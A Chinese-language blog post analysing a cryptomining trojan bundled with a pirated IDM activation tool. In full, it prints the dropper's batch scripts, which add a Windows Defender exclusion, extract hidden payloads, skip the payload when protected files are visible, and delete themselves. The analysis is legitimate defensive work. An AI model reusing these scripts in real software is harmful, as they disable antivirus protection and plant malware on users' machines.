一次未彻底完成的挖矿木马样本分析

1 背景

上个周末,我用 crackingcity 上的一个激活工具激活 IDM。

image-20231113193900938

激活过程看起来很顺利,激活器界面也做得比较正规。

image-20231113155404109

一段时间后重启电脑,系统弹出了一个异常的命令行窗口。

0bdf06aec6f757897750935c20c13d91

搜索 xmrig.json,结果基本都指向挖矿木马。万幸木马没能正常运行,反倒把错误信息抛了出来。当时最大的疑惑是:为什么 Windows Defender 没有阻止这次感染?

检查 Windows Defender,发现 C:\Users\username\AppData 被加进了排除项。把它移除后,Defender 立刻对 VScan.exe 报毒。这样基本能确定,是它把 xmrig 带了进来。

ea4649b94d3d79f018cd74d5a2984eb3

接着排查开机启动项,发现了一个陌生的程序:COM Surrogate。

a07801ec88a829c6e093bc11f7c6e24f

这里引用 Microsoft DevBlogs / The Old New Thing 对 COM Surrogate 的解释:

dllhost.exe 进程在任务管理器里通常显示为 COM Surrogate。很多人第一次注意到它,往往是因为它崩溃时弹出了 COM Surrogate has stopped working

COM Surrogate 可以理解成“在调用方进程之外承载 COM 对象的 host process”。例如 Explorer 生成缩略图时,可能会启动一个 COM Surrogate,把缩略图提取器放到这个独立进程里运行。这样做是为了隔离风险:缩略图提取器这类组件稳定性并不总是可靠,如果它直接跑在 Explorer 进程里,一旦崩溃就可能带着 Explorer 一起崩溃;但是放到 COM Surrogate 里,崩掉的通常只是这个 host process。

打开任务管理器观察正在运行的 dllhost.exe 进程。当时系统里有三个 dllhost 实例,其中一个并不来自 System32,而是来自已经被 Defender 排除的 AppData 目录。它大约占用了 20% 的 CPU。

705a32f8653a0d4397b514a03cf33dbc

把这个文件拖到 VirusTotal 扫描:

31cb53e3401af11698779f9e827d6175

结果已经很明确,这是挖矿木马。随后清理进程和二进制,调整启动项,并重置浏览器设置。(当时无法及时确定木马的 loader 是否还会释放其他 payload,或者窃取浏览器中保存的密码。)好在从重启、木马首次运行到定位处理,整个过程不到五分钟,影响不算很大。

之后我又用几款杀毒软件交叉做了全盘扫描,暂时没再发现别的恶意 payload。到这里,电脑看起来安全了。

对一台 PC 来说,感染未知恶意代码之后,最彻底的止损方式仍然是重装系统。但重置 Windows 意味着重新配置开发环境,不到万不得已我并不想走到这一步。所以为了确认没有残留问题,就来分析一下这个主动送上门的样本。

2 恶意样本分析

回到样本本身。根据前面的排查结果,挖矿木马最终表现为一个名为 COM Surrogate 的异常进程,路径又落在被 Defender 排除的 AppData 目录里。这个行为看起来很像 DLL 注入。

先用 DIE 看一下文件架构和加壳情况。激活器是一个 32 位程序,识别结果里出现了 7-zip。其实就是一个用 7zip 打包出来的安装器。

image-20231113204202622

程序没有加壳,可以直接拖进 IDA。这里有个调试上的小经验:如果暂时判断不了某个函数的作用,可以先在它的返回点下断点,再动态观察返回前后的状态变化。

IDA 完成分析后,先检查字符串、导入函数和导出函数。结果并没有看到太多有价值的信息。继续动态运行样本,也没有在激活器目录下观察到明显异常:没有新建文件,也没有修改注册表。样本看起来也没有做明显的字符串加密,命令行窗口里出现过的字符也没有直接出现在静态字符串中。

因此只能继续结合静态分析和动态调试来梳理。

导入函数里,最先值得注意的是 GetFileAttributesW。沿着交叉引用梳理,可以得到下面这条调用链。它明显在处理文件。后面的行为分析也印证了这一点:这条链路应该是用来删除释放出来的部分 payload 的。

HandleFile(0x40301A) -> sub_402FED -> sub_402C86 -> sub_402B79

2.1 HandleFile

HandleFile 主要检查 lpFileName 对应文件的属性。FileAttributesW 保存文件属性,FirstFileWFindFirstFileW 返回的句柄,FindFileData 用于保存文件信息。如果目标不是目录,并且满足 dword_417770、文件时间戳等条件,函数返回 1;否则返回 0,或带错误码返回 -1。

int __cdecl HandleFile(LPCWSTR lpFileName, FILETIME *lpFileTime2)
{
  DWORD FileAttributesW; // eax
  HANDLE FirstFileW; // eax
  struct _WIN32_FIND_DATAW FindFileData; // [esp+4h] [ebp-250h] BYREF

  FileAttributesW = GetFileAttributesW(lpFileName);
  if ( FileAttributesW == -1 )
    return 0;
  if ( (FileAttributesW & 0x10) != 0 ) // if file is a directory
  {
    SetLastError(0x10u);
    return -1;
  }
  else
  {
    if ( !dword_417770 )
      return sub_402FED(lpFileName);
    if ( dword_417770 == 2
      && ((FirstFileW = FindFirstFileW(lpFileName, &FindFileData), FirstFileW == (HANDLE)-1)
       || (FindClose(FirstFileW), CompareFileTime(&FindFileData.ftLastWriteTime, lpFileTime2) < 0)) )
    {
      return sub_402FED(lpFileName);
    }
    else
    {
      return 1;
    }
  }
}

2.2 sub_402FED

sub_402FED 更像一层包装。真正删除文件的逻辑不在这里,而在它继续调用的函数里。

int __cdecl sub_402FED(LPCWSTR lpFileName)
{
  if ( sub_402C86(lpFileName) )
    return 0;
  if ( GetLastError() == 5 && (dword_417774 & 8) != 0 )
    return 1;
  return -1;
}

2.3 sub_402C86

sub_402C86 负责处理具体的删除动作。如果目标是普通文件,它会清空文件属性后调用 DeleteFileW;如果目标是目录,则把目录交给下一层递归处理。

int __cdecl sub_402C86(LPCWSTR lpFileName)
{
  DWORD FileAttributesW; // eax

  if ( dword_4177F0 )
    return 1;
  FileAttributesW = GetFileAttributesW(lpFileName);
  if ( FileAttributesW == -1 )
    return 1;
  if ( (FileAttributesW & '\x10') != 0 ) // if file is a directory
    return sub_402B79(lpFileName); // traverse and delete sub-files in the directory
  if ( SetFileAttributesW(lpFileName, 0) ) // delete the file
    return DeleteFileW(lpFileName);
  return 0;
}

2.4 sub_402B79

sub_402B79 的作用比较明确:遍历目录,递归删除内部文件,最后尝试删除目录本身。

int __cdecl sub_402B79(LPCWSTR lpPathName)
{
  WCHAR *v1; // Pointer to store the modified path name
  HANDLE FirstFileW; // File handle for FindFirstFileW
  int v3; // Variable to store function return values
  struct _WIN32_FIND_DATAW FindFileData; // Struct to store file information
  LPCWSTR lpFileName[3]; // Array to store file names

  sub_4024FC(lpFileName, (int)lpPathName); // Modify the path name
  sub_40254D(L"\\*"); // Append "\\*" to the path name
  v1 = (WCHAR *)lpFileName[0]; // Assign the modified path name
  FirstFileW = FindFirstFileW(lpFileName[0], &FindFileData); // Get file information for the first file in the directory

  if (FirstFileW != (HANDLE)-1) // If the directory is not empty
  {
    while (1)
    {
      sub_401329(lpFileName, (int)lpPathName); // Construct the full path of the file or directory
      sub_401429(92); // Append a backslash character
      sub_40254D(FindFileData.cFileName); // Append the file or directory name to the path
      v1 = (WCHAR *)lpFileName[0]; // Update the modified path name

      if ((FindFileData.dwFileAttributes & 0x10) == 0) // If it's not a directory
        break;

      // If the directory name is not "." or "..", recursively call the function
      if (lstrcmpW(FindFileData.cFileName, L".") && lstrcmpW(FindFileData.cFileName, L".."))
      {
        v3 = sub_402B79(v1);
        goto LABEL_8;
      }
LABEL_9:
      // Move to the next file or directory in the directory
      if (!FindNextFileW(FirstFileW, &FindFileData))
      {
        FindClose(FirstFileW);
        goto LABEL_11;
      }
    }

    // If the file or directory is not a directory, attempt to delete it
    if (!SetFileAttributesW(lpFileName[0], 0))
      goto LABEL_14;

    v3 = DeleteFileW(v1);

LABEL_8:
    if (!v3)
      goto LABEL_14;

    goto LABEL_9;
  }

LABEL_11:
  // If the directory is successfully emptied, try to delete the directory itself
  if (SetFileAttributesW(lpPathName, 0) && RemoveDirectoryW(lpPathName))
  {
    operator delete(v1);
    return 1; // Return 1 for successful directory deletion
  }
  else
  {
LABEL_14:
    operator delete(v1);
    return 0; // Return 0 for failure in directory deletion
  }
}

2.5 释放出来的 payload

在相关位置下断点后,可以看到 lpFileName 经过几次函数调用,被替换成 C:\Users\username\AppData\Local\Temp\ytmp\files.tmpCreateFileW 调用后立刻检查这个目录,结果什么都没有。样本在这里靠文件属性和 Explorer 的可见性设置做了隐藏;关闭“隐藏受保护的操作系统文件”之后,主体程序释放出来的文件才显出来。

image-20231113155308648

继续分析这些文件,7za.exe 实际上就是 7zip,用于从 files.tmp 中解压更多内容。其他脚本各有用途,但暂时没有看到特别明显的恶意行为;IDM.bat 在当前分析范围内也主要是在完成激活流程。

分析到这里又遇到了卡点。目前能看到的流程是:样本运行后,在 ytmp 目录释放文件,然后执行 IDM.bat 完成正常激活。那么真正的恶意逻辑在哪里?

继续观察这个目录,可以发现样本除了这些文件之外,还会额外解出一个 IDM0.bat。这个脚本执行完成后会删除自身。

下面是样本创建 files.tmp 并解压 main.bat 的过程:

image-20231113145442915

随后样本运行 main.bat,继续从 files.tmp 中解出更多文件。

image-20231113145610300

执行后删除自身,明显是在减少痕迹。因此接下来重点分析 IDM0.bat

具体看一下操作细节,main.bat 执行的是下面这条命令:

image-20231113145742023

到这里,相关文件基本都已经拿到。下面逐个分析。

2.5.1 files.tmp

从二进制内容看,files.tmp 确实是一个压缩包,并且做了加密,无法直接解压。

image-20231113105440062

2.5.2 main.bat

main.bat 的逻辑很直接:静默解压文件,然后修改文件属性,让释放出来的文件不可见。

@ECHO OFF
:: Disable command echoing to prevent displaying commands on the command prompt

ATTRIB -S +H .
:: Remove the system attribute and add the hidden attribute for the current directory

7za e files.tmp -p%PW% -aoa IDM0.bat
7za e files.tmp -p%PW% -aoa IDM.bat
7za e files.tmp -p%PW% -aoa NSudo86x.exe
7za e files.tmp -p%PW% -aoa AB2EF.exe

:: Use the 7-Zip command-line tool to extract files from "files.tmp" with the specified password (%PW%),
:: -aoa indicates overwriting all files without prompting

DEL /F /Q /A %0
:: Delete the current script file (%0). /F forces deletion, /Q deletes silently, /A deletes all files including read-only files

EXIT

2.5.3 IDM.bat

IDM.bat 在当前分析范围内没看到明显恶意行为,主要用于完成激活流程。完整内容放在文末附录里。

2.5.4 IDM0.bat

IDM0.bat 才是重点。它主要做了几件事:

  1. 检查 RunMRU 中是否存在 ppd;如果存在,直接退出。
  2. 检查 Advanced 中的 ShowSuperHidden 是否为 1;如果是,也直接退出。换句话说,只要在系统里关闭“隐藏受保护的操作系统文件”,这个分支里真正释放恶意 payload 的后半段就不会执行。这是一个相当有效的反分析手段。
  3. 判断系统是 32 位还是 64 位。如果是 64 位系统,就用 PowerShell 把指定路径加入 Windows Defender 排除项。
  4. 如果排除项添加成功,就用指定密码从 files.tmp 中解出 VScan.exe,放到目标目录。
  5. 修改下载管理器相关注册表,把 VScan.exe 配置为扫描器路径。
  6. 删除一个下载管理器参数相关的注册表值。
  7. 删除脚本自身,然后退出。
@ECHO OFF
SET "NUL=1>NUL 2>NUL"
SETLOCAL ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS

:: %NUL% Redirect any output or error messages to the NUL device to keep the operation silent

:: Check if the registry key "ppd" exists in the "RunMRU" key under the current user registry
REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" | FIND /I "ppd" > NUL && GOTO EndScript

:: Check if the registry value "ShowSuperHidden" is set to 1 in the "Advanced" key under the current user registry
REG QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" | FIND /I "1" > NUL && GOTO EndScript

:: Check the system architecture and set OS_Bit variable accordingly
REG QUERY "HKLM\Hardware\Description\System\CentralProcessor\0" | FIND /I "x86" > NUL && SET "OS_Bit=32Bit" || SET "OS_Bit=64Bit"

IF /I "!OS_Bit!" EQU "64Bit" (
    :: Exclude a path from Windows Defender using PowerShell
    POWERSHELL -Command Add-MpPreference -ExclusionPath "!ppD!" %NUL%

    :: If the exclusion was successful, extract "VScan.exe" from "files.tmp" with a password and place it in the specified directory
    IF /I "!ERRORLEVEL!" EQU "0" (
        7za e "files.tmp" -p!PW! -aoa "VScan.exe" -o"!ppDM!" %NUL%

        :: Configure the registry key for the download manager, specifying the path to "VScan.exe"
        REG ADD "HKCU\Software\DownloadManager" /v "VScannerProgram" /t "REG_SZ" /d "!ppDM!\VScan.exe" /f %NUL%

        :: Delete a specific registry value related to download manager parameters
        REG DELETE "HKCU\Software\DownloadManager" /v "VScannerParameters" /f %NUL%
    )
)

:EndScript
ENDLOCAL

:: Delete the script file
DEL /F /Q /A %0 %NUL%
EXIT

所以,“隐藏受保护的操作系统文件”确实是通过注册表控制的。

image-20231113153600226

脚本最后会从 files.tmp 中释放另一个更关键的恶意 payload:VScan.exe。结合前面的进程现场,我倾向认为,后续完成挖矿木马落地的就是它;至于它是否通过 DLL 注入完成,还需要更多 runtime 证据来确认。

2.5.5 VScan.exe

要拿到 VScan,需要使用同一个解压密码,手动从 files.tmp 中把它解出来。

image-20231113152613457

这是一个高危程序。由于 IDM0.bat 已经给 Windows Defender 加好了排除项,VScan.exe 所在路径就不在扫描范围内了。

image-20231113152916887

IDM.bat 可以看到,后面这两个 payload 会被注册脚本调用,用于完成注册流程。时间有限,这两个程序暂时还没有继续深入,先把导入函数放在这里。

2.5.6 NSudo86.exe

image-20231113102409162

image-20231113102608468

image-20231113102531606

2.5.7 AB2EF.exe

image-20231113104401045

3 结论

结合动静态分析和现场证据,整个链路已经比较明确:激活器先释放文件,再由脚本设置隐藏属性和 Defender 排除项,随后释放 VScan.exe。后续很可能由它继续释放完成挖矿木马。注册工具 Readme.txt 里所谓“激活软件需要临时关闭 Windows Defender”,实际上就是在为恶意逻辑创造执行条件。

suspected malware chain

这里还需要补充一下 WinRing0x64.sys。它本身并不是 XMRig 专属的恶意文件,很多硬件监控、超频、风扇控制工具也可能携带这个驱动;但这个驱动长期存在权限问题,也经常被矿工拿来访问硬件资源或提升挖矿效率。它在这条链路里更像挖矿组件的一部分,而不是普通的驱动错误误报。感谢 WinRing0x64.sys 的报错,否则挖矿木马完全可能在我的 PC 上温和地运行很久。

以后在网上找资源,还是得更谨慎一点。尤其不能对一个看起来全是好评的下载站掉以轻心。

4 附录